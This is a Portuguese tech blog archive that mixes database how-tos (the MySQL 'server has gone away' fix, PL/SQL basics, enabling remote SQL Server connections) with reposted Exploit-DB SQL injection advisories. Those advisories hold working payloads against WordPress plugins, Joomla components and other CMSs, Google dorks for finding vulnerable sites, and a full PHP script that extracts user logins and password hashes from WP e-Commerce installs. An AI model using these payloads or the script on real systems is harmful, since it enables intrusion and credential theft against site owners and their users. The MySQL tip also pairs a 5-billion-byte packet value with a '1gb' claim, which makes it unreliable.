MySQL server has gone away

Standard

Seu mysql anda estranho quando você está tentando fazer upload de um arquivo enorme via console (na verdade o restore, ou seja, mysql -u usuario -p nomedobdprarestaurar < arquivo.sql)???

Bem, se a mensagem de erro for esta -> MySQL server has gone away NÃO precisa entrar em pânico, só existem 2 coisas que são feitas e sanam tranquilamente o erro:

1 – entre no /etc/my.cnf (ou arquivo de configuração do mysql) e informe set-variable = max_connections=1500

Isto vai liberar para 1500 conexões concorrentes no mysql.

2 – Se o erro persistir, no mesmo arquivo informe:

max_allowed_packet = 5000000000

Você estará liberando uploads/restore/dumps de 1gb de tamanho.

Depois disso, reinicie o mysql (normalmente service mysql restart) e corra para o abraço.

 

Ah, se quiser ver qual valor ficou setado (só para conferir depois do restart use):

mysql> SHOW VARIABLES LIKE ‘max_allowed_packet’;

WordPress jetpack plugin SQL Injection Vulnerability

Standard

######################################################

# Exploit Title: WordPress jetpack plugin SQL Injection Vulnerability
# Date: 2011-19-11
# Author: longrifle0x
# software: WordPress
# Download:http://wordpress.org/extend/plugins/jetpack/
# Tools: SQLMAP
######################################################
*DESCRIPTION
Discovered a vulnerability in  jetpack, WordPress Plugin,
vulnerability is SQL injection.
File:wp-content/plugins/jetpack/modules/sharedaddy.php
Exploit: id=-1; or 1=if
*Exploitation*http://localhost:80/wp-content/plugins/jetpack/modules/sharedaddy.php
[GET][id=-1][CURRENT_USER()http://localhost:80/wp-content/plugins/jetpack/modules/sharedaddy.php
[GET][id=-1][SELECT(CASE WHEN ((SELECT super_priv FROMmysql.user WHERE user='None' LIMIT 0,1)='Y') THEN 1 ELSE 0 END)
http://localhost:80/wp-content/plugins/jetpack/modules/sharedaddy.php

[GET][id=-1][MID((VERSION()),1,6)

 

Fonte: http://www.exploit-db.com/exploits/18126/

WordPress PureHTML plugin

Standard


# Exploit Title: WordPress PureHTML plugin < = 1.0.0 SQL Injection Vulnerability # Date: 2011-08-31 # Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm) # Software Link: http://downloads.wordpress.org/plugin/pure-html.1.0.0.zip # Version: 1.0.0 (tested) # Note: magic_quotes has to be turned off --------------- PoC (POST data) --------------- http://www.site.com/wp-content/plugins/pure-html/alter.php PureHTMLNOnce=1&action=delete&id=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20

---------------
Vulnerable code
---------------
if(!isset($_POST['PureHTMLNOnce'])){
if ( !wp_verify_nonce( $_POST['PureHTMLNOnce'], plugin_basename(__FILE__) )) {header("location:".$refer);}
}
else{
...
if(isset($_POST['id'])){$id = $_POST['id'];}else{$id='0';}
...
$action = $_POST['action'];

#delete
if($action == "delete"){
$sql = "delete from ".$wpdb->prefix."pureHTML_functions WHERE id='".$id."'";
$wpdb->query($wpdb->prepare($sql)); //misusage of $wpdb->prepare() :)

Fonte: http://www.exploit-db.com/exploits/17758/

WordPress yolink Search plugin

Standard


# Exploit Title: WordPress yolink Search plugin < = 1.1.4 SQL Injection Vulnerability # Date: 2011-08-30 # Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm) # Software Link: http://downloads.wordpress.org/plugin/yolink-search.1.1.4.zip # Version: 1.1.4 (tested) --------------- PoC (POST data) --------------- http://www.site.com/wp-content/plugins/yolink-search/includes/bulkcrawl.php page=-1&from_id=-1 UNION ALL SELECT CONCAT_WS(CHAR(58),database(),version(),current_user()),NULL--%20&batch_size=-1 --------------- Vulnerable code --------------- $post_type_in = array(); if( isset( $_POST['page'] ) ) { $post_type_in[] = '"page"'; } if( isset( $_POST['post'] ) ) { $post_type_in[] = '"post"'; } $post_type_in = '(' . implode(',', $post_type_in) . ')'; $id_from = $_POST['from_id']; $batch_size = $_POST['batch_size']; $post_recs = $wpdb->get_results( $wpdb->prepare( "SELECT ID,GUID FROM $wpdb->posts WHERE post_status='publish' AND post_type IN $post_type_in AND ID > $id_from order by ID asc LIMIT $batch_size" ) ); //misusage of $wpdb->prepare() :)

Fonte: http://www.exploit-db.com/exploits/17757/

WordPress Event Registration plugin

Standard


# Exploit Title: WordPress Event Registration plugin < = 5.4.3 SQL Injection Vulnerability # Date: 2011-08-30 # Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm) # Software Link: http://downloads.wordpress.org/plugin/event-registration.5.43.zip # Version: 5.4.3 (tested) # Note: magic_quotes has to be turned off --- PoC --- http://www.site.com/wp-content/plugins/event-registration/event_registration_export.php?id=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20

---------------
Vulnerable code
---------------
$id= $_REQUEST['id'];
...
$sql = "SELECT * FROM " . $events_detail_tbl . " WHERE id='$id'";
$result = mysql_query($sql);

Fonte: http://www.exploit-db.com/exploits/17751/

WordPress Contus HD FLV Player plugin

Standard


# Exploit Title: WordPress Contus HD FLV Player plugin < = 1.3 SQL Injection Vulnerability # Date: 2011-08-17 # Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm) # Software Link: http://downloads.wordpress.org/plugin/contus-hd-flv-player.1.3.zip # Version: 1.3 (tested) --- PoC --- http://www.site.com/wp-content/plugins/contus-hd-flv-player/process-sortable.php?playid=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)&listItem[]=1

---------------
Vulnerable code
---------------
$pid1 = $_GET['playid'];

foreach ($_GET['listItem'] as $position => $item) :
mysql_query("UPDATE $wpdb->prefix" . "hdflv_med2play SET `sorder` = $position WHERE `media_id` = $item and playlist_id=$pid1 ");
endforeach;

Fonte: http://www.exploit-db.com/exploits/17678/

WordPress File Groups plugin

Standard


# Exploit Title: WordPress File Groups plugin < = 1.1.2 SQL Injection Vulnerability # Date: 2011-08-17 # Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm) # Software Link: http://downloads.wordpress.org/plugin/file-groups.1.1.2.zip # Version: 1.1.2 (tested) --- PoC --- http://localhost/wp-content/plugins/file-groups/download.php?fgid=-1 AND 1=BENCHMARK(5000000,MD5(CHAR(87,120,109,121))) --------------- Vulnerable code --------------- $fgid = $_GET['fgid']; ... $file_list = $wpdb->get_col("select guid from wp_posts where post_parent = $fgid");

http://www.exploit-db.com/exploits/17677/

WP E-commerce plugin

Standard


# Exploit Title: WP E-commerce plugin < = 3.8.4 Sql Injection # Google Dork: inurl:page_id= “Your billing/contact details” # Date: 18/07/2011 # Author: IHTeam # Software Link: http://www.getshopped.org/ # Version: 3.8.4 # Tested on: 3.8.4 # Original Advisory: http://www.ihteam.net/advisory/wordpress-wp-e-commerce-plugin/ $value ) {
$form_sql = "SELECT * FROM `" . WPSC_TABLE_CHECKOUT_FORMS . "` WHERE `id` = '$value_id' LIMIT 1";
$form_data = $wpdb->get_row( $form_sql, ARRAY_A );

FIX: Upgrade to version 3.8.5

Bug found by: IHTeam
Simone `R00T_ATI` Quatrini
Marco `white_sheep` Rondini
Francesco `merlok` Morucci
Mauro `epicfail` Gasperini
For GetShopped as their security auditors

This code has been released under the authorization of GetShopped staff.
It will show user_login and user_pass of wp_users table;

Google Dork: inurl:page_id= "Your billing/contact details"
Follow us on Twitter! @IHTeam
*/
function help() {
echo "n";
echo " -------------------WP e-Commerce < = 3.8.4 SQL Injection---------------nn"; echo " How to use: php wp-ecommerce.php host path page_id [table_name]nn"; echo " host = Domain namen"; echo " path = Path of WordPressn"; echo " page_id = Int value of the login page of WP e-commercen"; echo " table_name = Default is wp_usersnn"; echo " Example: php wp-commerce.php www.domain.com /wordpress/ 11 wp_usersnn"; echo " ----------------------------------------------------------------------nn"; } function exploit($host,$path,$pageid,$table) { $url = $host.$path."?page_id=".$pageid."&edit_profile=true"; $buggy_code=urlencode("-2' UNION ALL SELECT 2, concat(user_login,':',user_pass), 'email', 1, 1, null, 1, 2, 'billingfirstname', null, 0 from ".$table." WHERE '1'='1"); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POST, 3); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_POSTFIELDS,"collected_data[".$buggy_code."]=&submit=Save+Profile&submitwpcheckout_profile=true"); $result= curl_exec ($ch); curl_close ($ch); echo "Now using table name: $table... "; preg_match("/(.*?)< /span>.
/", $result, $matches);
if ( !isset($matches[1]) )
$msg="Wrong table name or not vulnerablen";
else
$msg="Credential found: ".$matches[1]."n";

return $msg;

}

if ( isset($argv[1]) && isset($argv[2]) && isset($argv[3]) ) {
if (isset($argv[4]))
$table = $argv[4];
else
$table = "wp_users";

$host = $argv[1];
$spos=strpos($host, "http://");
if(!is_int($spos)&&($spos==0))
$host="http://$host";

$path = $argv[2];
$pageid=(int)$argv[3];

/* Detecting the version, if possible */
$version = file_get_contents($host.$path.'wp-content/plugins/wp-e-commerce/readme.txt');
preg_match("/Stable tag: (.*)/", $version, $vmatch);

if ( !isset($vmatch[1]) )
$version="Not detectablen";
else
$version=$vmatch[1];

echo "Version: ".$version."n";
/* End of version detecting */

/* Executing exploit */
preg_match('/[^.]+.[^.]+$/', $host, $hmatch);
$host_name=str_replace('http://','',$hmatch[0]);

$tarray = array($table, 'wordpress_users', '_users', 'users', 'wpusers','wordpressusers', $host_name.'_users', str_replace('.','',$host_name).'_users', str_replace('.','',$host_name).'users' );

foreach($tarray as $index => $val) {
echo exploit($host,$path,$pageid,$val);
}
/* End of exploit */
} else
help();

Fonte: http://www.exploit-db.com/exploits/17613/

DmxReady Document Library Manager v1.2 SQL Injection Vulnerability

Standard

# Exploit Title: DmxReady Document Library Manager v1.2 SQL Injection
Vulnerability
# Google Dork: inurl:inc_documentlibrarymanager.asp
# Date: 03.07.2011
# Author: Bellatrix
# Software Link:
http://www.dmxready.com/?product=document-library-manager
# Version: v1.2
#Language: ASP
# Price : $99.97
# Tested on: Windows XP Sp3
# Greetz : VoLqaN , Toprak and All Cyber-Warrior TIM members....

----------------------------------------------------------------------------------------------------
Bug;

http://target/path/admin/DocumentLibraryManager/update.asp?ItemID=xx [ SQL ATTACK]

Fonte: http://www.exploit-db.com/exploits/17482/

DMXReady Account List Manager v1.2 SQL Injection Vulnerability

Standard

# Exploit Title: DMXReady Account List Manager v1.2 SQL Injection
Vulnerability
# Google Dork: inurl:inc_billboardmanager_summary_popup.asp
# Date: 03.07.2011
# Author: Bellatrix
# Software Link:
http://www.dmxready.com/?product=account-list-manager
# Version: v1.2
#Language: ASP
# Price : $99.97
#Demo :
http://demo.dmxready.com/applications/AccountListManager/inc_accountlistmanager.asp
# Tested on: Windows XP Sp3
# Greetz : VoLqaN , Toprak and All Cyber-Warrior TIM members....
---------------------------------------------------------------------------------------------------
Bug;

http://target/path/admin/AccountListManager/update.asp?AccountID=xx [ SQL ATTACK]

Fonte: http://www.exploit-db.com/exploits/17483/

PhpFood CMS v2.00 SQL Injection Vulnerability

Standard

#############################################################################################################
## PhpFood CMS (restaurant.php?id=) SQL Injection Vulnerability ##
## Author : kaMtiEz (kamtiez@exploit-id.com) ##
## Homepage : http://www.indonesiancoder.com / http://exploit-id.com / http://magelangcyber.web.id ##
## Date : 3 July, 2011 ##
#############################################################################################################

[ Software Information ]

[+] Vendor : http://www.phpfood.com/
[+] Download : http://www.phpfood.com/download.html
[+] version : 2.00 or lower maybe also affected
[+] Vulnerability : SQL INJECTION
[+] Dork : "CiHuY"
[+] LOCATION : INDONESIA - JOGJA

#############################################################################################################

[ Vulnerable File ]

http://127.0.0.1/[kaMtiEz]/restaurant.php?id=[num]

[ XpL ]

http://127.0.0.1/[kaMtiEz]/restaurant.php?id=[num] and(select 1 from(select count(*),concat((select (select @@version) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from `information_schema`.tables group by x)a) and 1=1

[ See It ]

Duplicate entry '5.0.91-community1' for key 1 :D

[ FIX ]

dunno :">

#############################################################################################################

[ Thx TO ]

[+] INDONESIANCODER - EXPLOIT-ID - MAGELANGCYBER TEAM - MALANGCYBER CREW - KILL-9
[+] Tukulesto,arianom,el-farhatz,Jundab,Ibl13Z,Ulow,s1do3L,Boebefa,Hmei7,RyanAby,AlbertWired,GonzHack
[+] Lagripe-Dz,KedAns-Dz,By_aGreSiF,t0r3x,Mboys,Contrex,Gh4mb4S,jos_ali_joe,k4l0ng666,n4sss,r3m1ck,k4mpr3t0
[+] yur4kh4,xr0b0t,kido,trycyber,n4ck0,dan teman2 semuanya yang saya tak bisa sebutkan satu2 :D

[ NOTE ]

[+] Stop Dreaming , Lets Do it !
[+] Jangan Takut , Luka Pasti Akan Sembuh :)

[ QUOTE ]

[+] INDONESIANCODER still r0x
[+] nothing secure ..

Fonte: http://www.exploit-db.com/exploits/17485/

O que é PL/SQL?

Standard

PL/SQL (acrónimo para a expressão inglesa Procedural Language/Structured Query Language) é uma extensão da linguagem padrão SQL para o SGBD Oracle da Oracle Corporation. É uma Linguagem Procedural da Oracle, estendida da SQL.

Permite que a manipulação de dados seja incluída em unidades de programas. Blocos de PL/SQL são passados e processados por uma PL/SQL Engine que pode estar dentro de uma ferramenta Oracle ou do Server. A PL/SQL Engine filtra os comandos SQL e manda individualmente o comando SQL para o SQL Statement Executor no Oracle Server, que processa o PL/SQL com os dados retornados do Server.

É a linguagem básica para criar programas complexos e poderosos, não só no banco de dados, mas também em diversas ferramentas Oracle.

Antes de 1991 a única forma de usar construções procedurais com o SQL era usar PRO*C. Foi onde as instruções SQL do Oracle foram embutidas em código C. O código C era pré-compilado para converter as instruções SQL em chamadas de bibliotecas.

Em 1991 o PL/SQL 1.0 foi lançado com o Oracle Versão 6.0. Ele era muito limitado nas suas capacidades.

Já a versão 2.0 era uma atualização maior, que suportava stored packages, procedures, funções, tabelas PL/SQL, registros definidos pelo programador e package extensions. Esta versão foi lançada com o Oracle Versão 7.0.

O PL/SQL Versão 2.1 foi liberado com a Versão 7.1 do Oracle. Isto permitiu o uso de stored functions dentro de instruções SQL e a criação de SQL dinâmico pelo uso do pacote DBMS_SQL. Foi também possível executar instruções de Linguagens de Definição de Dados de programas PL/SQL.

A Versão 2.2 PL/SQL foi lançada com a Versão 7.2 do Oracle. Ele implementava uma proteção do código para programas PL/SQL e também o agendamento de trabalhos do banco de dados com o pacote DBMS_JOB.

A Versão 2.3 do PL/SQL foi lançado com a Versão 7.3 do Oracle. Esta versão aumentou as capacidades das tabelas PL/SQL e adicionou funcionalidades de E/S de arquivos.

A Versão 2.4 do PL/SQL foi liberada com a Versão 8.0 do Oracle. Esta versão suporta os melhoramentos do Oracle 8, incluindo Large Objects, projeto orientado a objetos, tabelas aninhadas e Oracle advanced queuing.

Estrutura Básica do PL/SQL

A unidade básica em PL/SQL é um bloco. Todos os programas em PL/SQL são compostos por blocos, que podem estar localizados uns dentro dos outros. Geralmente, cada bloco efetua uma ação lógica no programa. Um bloco tem basicamente a seguinte estrutura:

DECLARE

Seção para declaração de variáveis,tipos e subprogramas locais.

BEGIN

Seção Executável, nesta seção ficam as instruções procedurais e SQL. Esta é a única seção do bloco que é indispensável e obrigatória.

EXCEPTION

Seção/Setor onde ficam as instruções de tratamento de erro.

END

Fonte: http://pt.wikipedia.org/wiki/PL/SQL

Joomla Component (com_team) SQL Injection Vulnerability

Standard

********************************************************************************
Joomla Component (com_team) SQL Injection Vulnerability
********************************************************************************

Author : CoBRa_21

Dork : inurl:com_team

********************************************************************************
Exploit

http://localhost/[PATH]/print.php?task=person&id=36 and 1=1

http://localhost/[PATH]/print.php?task=person&id=36 and 1=2

http://localhost/[PATH]/print.php?task=person&id=36 [SQL]

********************************************************************************
Ordu-yu Lojistik TIM // CoBRa_21
********************************************************************************

Fonte: http://www.exploit-db.com/exploits/17412/

WordPress Events Manager Extended Plugin SQL Injection Vulnerability

Standard

------------------------------------------------------------------------

# WordPress Events Manager Extended Plugin Persistent SQL Vulnerability
------------------------------------------------------------------------
# SoftwareLink: http://wordpress.org/extend/plugins/events-manager-extended/
# Version     : 3.1.2
# Author      : LoocK3D
# Date        : 11 June , 2011
------------------------------------------------------------------------
[-] Dork            ; inurl:wp-admin/admin.php?page=
[-] Vulnerable File ; /wp-admin/admin.php?page=people&action=printable&event_id=[SQL]
[-] Exploit         ; -1+union+select+0,1,2,concat_ws(user_login,0x3a,user_pass)UAHCrew,4+from+wp_users--
------------------------------------------------------------------------
# UAHCrew Member : Hackeri-AL - LoocK3D - b4cKd00r ~
# Deface Archive : http://zone-h.org/archive/notifier=UAH-Crew
# UAHCrew        : uahcrew@yahoo.com<script type="text/javascript">
/* <![CDATA[ */
(function(){try{var s,a,i,j,r,c,l=document.getElementById("__cf_email__");a=l.className;if(a){s='';r=parseInt(a.substr(0,2),16);for(j=2;a.length-j;j+=2){c=parseInt(a.substr(j,2),16)^r;s+=String.fromCharCode(c);}s=document.createTextNode(s);l.parentNode.replaceChild(s,l);}}catch(e){}})();
/* ]]> */
</script>
# LoocK3D        : locked.ks@gmail.com<script type="text/javascript">
/* <![CDATA[ */
(function(){try{var s,a,i,j,r,c,l=document.getElementById("__cf_email__");a=l.className;if(a){s='';r=parseInt(a.substr(0,2),16);for(j=2;a.length-j;j+=2){c=parseInt(a.substr(j,2),16)^r;s+=String.fromCharCode(c);}s=document.createTextNode(s);l.parentNode.replaceChild(s,l);}}catch(e){}})();
/* ]]> */

</script>

 

Fonte: http://www.exploit-db.com/exploits/17386/

Joomla Component com_joomnik SQL Injection Vulnerability

Standard

 

<------------------- header data start ------------------- >

#############################################################
Joomla Component Joomnik Gallery SQL Injection Vulnerability
#############################################################
# Author : SOLVER ~ Bug Researchers
# Date : 26.05.2011
# Greetz : DreamPower - CWKOMANDO - Toprak - Equ - Err0r - 10line
# Name : Joomla com_joomnik
# Bug Type : SQL injection
# Infection : Admin Login Bilgileri Alinabilir.
# Example Vuln :
[+]/index.php?option=com_joomnik&album=[EXPLOIT]
[+] Dork:"com_joomnik"
[+] Demo: http://site.com/index.php?option=com_joomnik&album=6'
# Bug Fix Advice : Zararli Karakterler Filtrenmelidir.
#############################################################

http://joomlacode.org/gf/project/joomnik/

Como habilitar conexões remotas com o mssql server 2005 (express ou standard/enterprise)

Standard

Como configurar Conexão Remota no SQL Server 2005

Muitos casos de problemas com conexão ao servidor de Banco de Dados ocorrem por uma limitação que o SQL Server 2005 possui por padrão. Esta configuração de segurança que vem padronizada no SQL pode ser alterada facilmente. Neste artigo, será apresentada uma maneira de como solucionar este problema rapidamente. Para simular o ambiente, duas máquinas serão utilizadas. Uma será o Servidor de Banco de Dados, e a outra será a máquina cliente. No diagrama abaixo, existe uma arquitetura de exemplo para ilustrar a solução.

O nome do Servidor de Banco de Dados é NGRSERVER e a máquina cliente se chama NOTEBOOK. A instância do SQL Server 2005 que está no servidor é chamada de SQL2005.

Vamos ao que interessa. Ao tentar acessar o Servidor de Banco de Dados com sua configuração padrão, uma mensagem de erro é apresentada. Esta Depois de acessar a tela das propriedades da instância do SQL Server, escolha, no menu da esquerda, a opção Connection. A parte direita da tela será referente à Connection, procure a opção Allow remote connection to this server. Deixe esta opção marcada. Clique em OK.mensagem diz que ocorreu um erro enquanto estabilizava uma conexão com o servidor, esta falha pode ser pelo fato da configuração padrão do SQL Server não permitir conexões remotas.

“An error has occurred while establishing a connection to the server. When connecting to SQL Server 2005, this failure may be caused by the fact that under the default settings SQL Server does not allow remote connections”

A solução deste problema é resolvida em alguns passos.

Código:
1. Permitir conexões remotas à instância do SQL Server que será acessada de outro computador;
2. Habilitar o protocolo  TCP/IP para conexão e tráfego de informações;
3. Iniciar o serviço do SQL Server Browser;
4. Configurar o  Firewall para permitir que informações relacionadas ao SQL Server seja permitido de passar por ele.

.[/COLOR]

Estes passos garantem a conexão remota do SQL Server. Abaixo cada passo é explicado detalhadamente.

Passo 1: Para permitir que computadores acessem instâncias do SQL Server em outra máquina, a primeira coisa a ser feita é uma configuração na instância que receberá as conexões remotas, no nosso caso, o SQL2005 no servidor NGRSERVER.

Para fazer isso, conecte-se localmente na instância do servidor, clique com o botão direito na instância conectada e aponte o mouse para Properties.

Depois de acessar a tela das propriedades da instância do SQL Server, escolha, no menu da esquerda, a opção Connection. A parte direita da tela será referente à Connection, procure a opção Allow remote connection to this server. Deixe esta opção marcada. Clique em OK.

A conclusão deste procedimento passa a garantir que a instância do SQL Server poderá receber conexões remotas, mas este não é o único passo a ser cumprido. Mais alguns passos devem ser seguidos para a conclusão da tarefa.

Passo 2: Para permitir que o protocolo TCP/IP trafegue informações do SQL e que conexões possam ser estabelecidas através deste protocolo, vamos liberá-lo no SQL Server, utilizando uma ferramenta disponível na instalação das ferramentas de administração. A ferramenta é o SQL Server 2005 Surface Area Configuration. Esta ferramenta por padrão, encontra-se na pasta Configuration Tools do SQL Server 2005. Nesta ferramenta, utilizaremos os recursos de Surface Area Configuration for Services and Connections.

Acesse Surface Area Configuration for Services and Connections, no menu da esquerda expanda o item da instância, neste caso, SQL2005. Depois expanda Database Engine e selecione Remote Connections. Na tela da direita, selecione a opção Local and remote connections e em seguida Using TCP/IP only. Clique em OK.

Esta configuração permite agora, que a instância selecionada receba conexões locais e remotas, as conexões remotas serão somente por TCP/IP. A opção Using both TCP/IP and named pipes também poderia ser sido utilizada, sem problemas.

Continuando com a configuração do TCP/IP, vamos utilizar agora outra ferramenta, SQL Server Configuration Manager. Nesta ferramenta utilizaremos o recurso SQL Server 2005 Network Configuration, que se encontra no menu da esquerda. Ao expandir este item, encontramos o Protocols for SQL2005. Ao clicar nele, algumas opções se abrirão do lado direito da tela. Nas opções disponibilizadas, devemos deixar o protocolo TCP/IP com status de Enabled. Para fazer isso, clique com o botão direito do mouse em TCP/IP e vá em Enabled. Após isso, ele aparecerá configurado.

Depois de configurar o status para Enabled, mais duas verificações devem ser feitas nas propriedades do protocolo TCP/IP. Para acessar estas configurações, clique com o botão direito do mouse em TCP/IP e em seguida em Propriedades. Uma tela com duas abas superiores se abrirá. A primeira aba Protocol, deve ficar com a propriedade Enabled configurada para Yes.

Na segunda aba, IP Addresses, devemos garantir que as propriedades Active e Enabled estejam configuradas para Yes.

Após garantirmos estas configurações, clicamos em OK para salvar nossas alterações.

As alterações que foram feitas nestas duas ferramentas são úteis para garantir que a instância do SQL Server selecionada possa receber conexões remotas e que o protocolo remoto de conexão é o TCP/IP.

Passo 3: Para iniciar o serviço do SQL Server Browser, utilizaremos novamente a ferramenta SQL Server Configuration Manger. Para acessar a área que controla os serviços do SQL Server, no menu da esquerda, será utilizado o item SQL Server 2005 Services. Na parte direita da tela, os serviços relacionados ao SQL Server são apresentados. O serviço SQL Server Browser encontra-se com seu State configurado para Stopped. Para iniciar o serviço, clique com o botão direito do mouse no serviço e em seguida clique em Start. Este processo levará alguns instantes, e o State antigo passará a ser Running.

fim da 2ªparte

Após a inicialização do serviço do SQL Server Browser, e as configurações de liberação para acesso remoto e de TCP/IP, o serviço da instância do SQL Server deve ser reiniciado para que as alterações tenham efeito. Para fazer isso, na mesma tela onde foi iniciado o serviço do SQL Server Browser, selecione o serviço do SQL Server (SQL2005), clique com o botão direito do mouse e aponte p ara Restart. Aguarde alguns instantes a parada e a inicialização do serviço. Lembre-se que SQL2005 é a instância do SQL Server do servidor que utilizamos como exemplo.

Passo 4: Para que as conexões remotas funcionem no SQL Server 2005, o Firewall da rede deve ter exceções para as instâncias do SQL Server 2005 e o serviço do SQL Server Browser. Para exemplificar, colocaremos as exceções no Firewall do próprio Windows. Caso você utilize outro Firewall, você deve ler sua documentação para realizar o procedimento de liberação dos programas utilizados.

O Firewall do Windows está presente nas instalações do Windows XP com Service Pack 2 ou superior. Para acessar o Firewall do Windows, vá em Iniciar > Painel de Controle > Firewall do Windows ou digite firewall.cpl em Iniciar > Executar e clique em OK. A liberação no Firewall deve ser feita para cada instância que terá suas conexões remotas permitidas. Realizar estas exceções em cada instância do SQL Server é necessária pelo fato de ser permitido instalar diversas instâncias do SQL Server em um mesmo servidor. Cada instalação do SQL Server é chamada de instância, e cada instância pode ter quantos Bancos de Dados forem necessários, podendo ser repetidos ou não em uma instância ou outra. Para colocar uma instância do SQL Server nas exceções do Firewall, devemos abrir a aba Exceções do Firewall do Windows, clicar em Adicionar Programa, procurar o arquivo SqlServr.exe que por padrão, encontra-se na pasta C:\Arquivos de Programas\Microsoft SQL Server\MSSQL.1\MSSQL\Binn.

A pasta MSSQL.1 é a pasta referente à instância 1 do SQL Server. Se for colocar uma exceção para uma segunda instância do SQL, o arquivo SqlServr.exe deve ser localizado na pasta MSSQL.2.

Para colocar uma exceção ao serviço do SQL Server Browser, devemos seguir os mesmos passos que percorremos para colocar exceção à instância do SQL Server, a única diferença será procurar o arquivo SqlBrowser.exe que por padrão está na pasta C:\Arquivos de Programas\Microsoft SQL Server\90\Shared.

Estes passos apresentados auxiliam a conexão remota com o Servidor de Banco de Dados através de máquinas clientes. Podemos ver que seguindo os passos corretamente, o acesso de aplicações e de ferramentas administrativas deixou de ser exclusivamente da máquina do Servidor de Banco de Dados, e passou a ter acessos liberados para outras máquinas da LAN (Local Area Network). Lembrando que, para acessar uma instância do Banco de Dados, você terá que colocar um usuário e senha válidos para realizar a conexão.

Dica retirada de:
http://www.chmod.com.br/vb/showthread.php?t=6890